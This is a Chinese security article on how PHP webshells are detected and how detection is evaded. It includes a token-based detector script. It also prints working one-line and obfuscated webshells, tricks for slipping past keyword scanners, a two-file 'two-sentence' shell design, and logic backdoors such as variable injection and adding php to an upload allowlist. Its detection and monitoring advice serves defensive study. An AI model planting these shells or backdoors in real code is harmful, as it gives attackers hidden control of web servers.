常见 Webshell 的检测方法及检测绕过思路

时间:2020-12-10 21:26:25

Webshell的因素

我们从一个最简单的webshell结构可以看出其基本结构:“<?php eval($_POST[‘a’]);?>”

常见 Webshell 的检测方法及检测绕过思路

从目前被公布的一句话webshell来看,基本都符合这个结构,即shell的实现需要两步:数据的传递、执行所传递的数据。

数据传递&绕过检测

对于数据传递,我们通常的做法是使用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词如果直接出现的话,那么可以很容易回溯到,我们有几种方案来解决这个问题:

  1. 利用应用本身所在框架的输入封装来得到传递的数据
  2. 采取某种变通的方式来绕过检测,譬如使用${"_G"."ET"}。不过这种方式也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以通过“$/*a*/{”这种方式绕过(当然其又有被跟踪的可能性)。
  3. 使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
  4. 人为构造语言缺陷或应用漏洞,并且这种缺陷是不易察觉的,譬如伪造管理员session等。

数据执行&绕过检测

对于数据执行,我们通常使用的函数或方式有:eval、create_function、``、exec、preg_replace等。当然这类关键词如果直接出现的话,我们的自动化webshell检测脚本可以很轻易的进行识别,目前看我们可以绕过检测的方案较少:

1、通过$a()这种方式来执行函数。不过这种方式也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规则,同样我们可以通过$a/*a*/()这种方式以及相应的变通方式来绕过。(当然其又有被跟踪的可能性)

2、尝试去找到不在黑名单中的函数,或者极其常见的函数。

关于一句话webshell的呈现形式和检测方案

最近微博上提到的变种加密的webshell很多啊,有Fredrik提到的tiny php shell

http://h.ackack.net/tiny-php-shell.html):

<?=($_=@$_GET[2]).@$_($_GET[1])?>

有Spanner的Non alphanumeric webshell

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/):

<?

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

还有从http://blog.sucuri.net/ 上看到的N个webshell

http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html):

if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc'])); 

wp__theme_icon=create_function(”,file_get_contents(‘/path/wp-content/themes/themename/images/void.jpg’));$wp__theme_icon(); 

 

$auth_pass = “63a9f0ea7bb98050796b649e85481845″;

$color = “#df5″;

$default_action = “SQL”;

$default_charset = “Windows-1251″;

$protectionoffer = “ficken”;

preg_replace(“/.*/e”,"\x65\x76\x61\x6C..."); 

 

<?php $XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb

=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j

oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY…

 

还有某人发现的:

$k = "{${phpinfo()}}";

 

更多的可以看这里:http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html

 

从上述的这些shell中我们已经能找到规律,虽然我们没有非常完善的办法定位数据传递这个步骤,但是我们能比较方便地找到数据执行的位置:“(”。从我目前掌握的情况来看,一个数据执行(当然include这几个和“``”反引号执行另作考虑)的基本条件一定会包含这个小括号,如果哪位大牛有什么可以在代码中不使用小括号就可以达到代码执行的方法,请一定不吝赐教。

所以我们可以很容易的做出我们的webshell检测方法:使用token_get_all将php代码打成token,然后找到每一个”(”,判断括号前面的数据是不是合法的即可。至于如何判断合法,我们遵循一个原则:如果是空格、注释之类,则采取忽略方式(即continue,继续往前判断);如果是分支、条件判断或运算符,则我们认为是合法的;如果是字符串,并且在黑名单,我们认为是非法的,否则是合法的;如果不满足上述条件,我们先暂认为是非法的(通过此项不断完善我们的配置和算法)。

基于上述理论,我们实现我们的算法如下(其中部分代码做省略处理,如需完整代码,请见后面链接):

<?php

final class Conf{

public static $strict = false;

//有可能有危害的函数

public static $vul_func = array('create_function', 'eval', ... 'usort');

public static $allow_chars = array('.','=',',','+','-','*','/','%','^','&','|','!',);

//无危害的token类型

public static $allow_type = array(T_AND_EQUAL,T_BOOLEAN_AND,...T_SWITCH);

//需要被忽略的token类型

public static $ignore_type = array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,);

}

function check_callable($code){

$token = token_get_all($code);

$vul = array();$flag = false;

for($i=0;$i<count($token);$i++){

if(is_string($token[$i])){

if($token[$i]=='('){

$tmp = check_harmful($token,$i-1);//指向“(”之前

if($tmp) $vul[] = $tmp;

}

if($token[$i]=='`'){

$flag = $flag == true ? false : true;

if($flag) $vul[] = $token[$i+1];

}

}

}

return $vul;

}

 

function check_harmful($token,$idx){

for($i=$idx;$i>0;$i--){

if(is_array($token[$i])){

if(in_array($token[$i][1],Conf::$vul_func)) {

if(Conf::$strict){//严格检验

if(has_varparam($token,$idx+1)) return $token[$i];//从“(”开始

return false;

}

return $token[$i];

}

if(in_array($token[$i][0],Conf::$ignore_type)) continue;

if(in_array($token[$i][0],Conf::$allow_type)) return false;

return $token[$i];//$a();

}else{

if(in_array($token[$i],Conf::$allow_chars)) return false;

}

}

return false;

}

 

function has_varparam($token,$idx){

$bracket = 0;

for($i=$idx;$i<count($token);$i++){

if(is_string($token[$i])){

if($token[$i]=="(") $bracket ++;

if($token[$i]==")") $bracket --;

}else{

if($token[$i][0]==T_VARIABLE) return true;

}

if($bracket===0) return false;

}

return false;

}

 

function _main(){

$code = file_get_contents("shell.php");

$vuls = check_callable($code);

var_dump($vuls);

}

_main();

?>

 

在不考虑误报率仅考虑覆盖率的情况下,上述代码对之前所描述的webshell的覆盖率几乎是100%。

常见 Webshell 的检测方法及检测绕过思路

感兴趣的朋友可以尝试去写一些单文件的shell去突破下,如果突破成了,不妨指点一二,呵呵。

关于“两句话”webshell的呈现形式

当然所谓的“两句话”只是个概念描述方式(噱头),不是技术。这种思路可能并非是独创的,因此此处仅作为思路总结,而并非新技术提出

那么在这些已有的webshell都可以被检测出的情况下(当然庞大的人肉问题定位工程暂且不谈),我们可以先假设我们可以通过技术手段检测并防御了“一句话”webshell(这里的一句话指的是上述的数据传递和数据执行在一起的webshell);那么本文的重点便引申出来了 —— 如果我们将数据传递过程和数据执行过程分开,构造出我们的“两句话”webshell,是否可以突破上述的检测呢?

当然我所指的分开可以绝不是字面上的意思把shell分两句话来写:

$a = $_GET[‘a’];eval($a);

这没有任何意义。而是说采取一些方式,隐藏数据传递者和数据执行者。这里简单举一个例子,譬如我们在a.php中插入了这样的代码,以便在必要时生成一个shell文件:

file_put_contents(“/home/www/abc.txt”, str_rot13 (‘some code already encode’));

 

然后我们在b.php中再实现一个数据执行者,最简单的莫过于:

include “/home/www/abc.txt”;

 

那么这种两步的webshell是很难被发现的。一般来说检查webshell的脚本不会对file_put_contents这种函数下手,但如果它真下手了,那么我们依然有很多方式可以进行此步:譬如上传一个文件,然后通过$_FILES['userfile']['tmp_name'] 获取文件位置;或者使用ftp_get获取一个文件;或者构造一个可以直接backupshell的注入点等等方式来完成我们这步。我们也可以使用curl、file、imagecreatefrompng、get_headers、bzopen、svn_checkout这样的函数来实现我们的数据提供。而这类的函数有十几个到几十个之多,只要可以进行网络信息的读取或者可以进行本地文件的读取或写入,那么我们就可以使之成为我们的数据提供者,而shell检测脚本绝不会把自己的触手伸这么远。而且通过sqlite、mysql或其它数据库隐藏我们的数据也不失为一个好方法。

而对于数据执行者,即便将所有的include都grep出来,想把这个webshell的数据执行者找到也不是那么容易的事。尤其我们假设一种情况:这个include是原来正常的代码逻辑,而变化的仅仅是之前的数据传递者(即被include的页面)。另外有些框架有自动加载helper和model的功能,甚至有的有自动加载viewer的功能,这些也都是我们藏身的好地方。此外我们还可以使用virtual、php_check_syntax、array_filter、array_map、array_walk、call_user_func、preg_replace、usort等一般不在黑名单中的函数来绕过shell脚本检测,或者直接在应用代码中找上述的函数,看其所引用的变量是否可以稍加改变变成我们的数据提供者。

所以我们看出“两句话”与一句话webshell的最大的区别在于不构造新的数据执行者或者可以完全隐匿数据执行者(利用已有的代码逻辑等),仅通过变换或构造数据提供者的前提下完成shell的功能。而$_GET、$_POST、$_SERVER、$_COOKIE、$_FILE、$_REQUEST、$GLOBALS[“_GET”]、$/*hello*/{"_G"."ET"}都是我们的数据传送者;file_get_contents、file、file_put_contents甚至print_r、unserialize都可以隐匿我们要传输的数据。当然扫描代码隐患的工具(譬如Rips)肯定能够扫描到这些隐患,但是这类工具毕竟不是用于扫描webshell的,且误报率是相当的高。

逻辑后门

当然如上的利用方式中还是少不了特殊的函数的存在的。因此除此之外,我们可以尝试留下另一种后门:逻辑后门,譬如:

 

<?php

foreach ($_GET as $key => $value) { //由攻击者添加

          $$key = $value;

}

// ... some code

if (logged_in() || $authenticated) { //原有逻辑

// ... administration area

}

?>

利用方式:http://www.example.com/index.php?authenticated=true

或者增加逻辑 

if($user_level==ADMIN || $user_name==’monyer’){//admin area}

或者增加配置 

$allow_upload = array(

‘jpg’,’gif’,’png’,

‘php’,

);

那么可以想象检测难度之大,几乎是无法用扫描特征的方式解决的。对此可能我们只能采取其他方法,譬如线上文件监控以及线上与SVN代码的周期性diff等方式来解决了。

OK,文章就到此,描述常见的一句话后门和变种方式以及检测方式,“两句话”后门的实现思路和逻辑后门的思路。希望各位看官看完会有收获,有问题及时联系,多谢!

monyer. 

一句话php webshell的case和检测结果:

Case:http://xeye.sinaapp.com/data/lab/php_shell/shell_sample.php

Find Shell:http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php

Find Shell Code:http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php?show_code

参考资料:

http://h.ackack.net/tiny-php-shell.html

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html

http://sourceforge.net/projects/rips-scanner/

http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html

本文“常见 Webshell 的检测方法及检测绕过思路”,来自:Nuclear'Atk 网络安全研究中心,本文地址:http://lcx.cc/?i=3188,转载请注明作者及出处!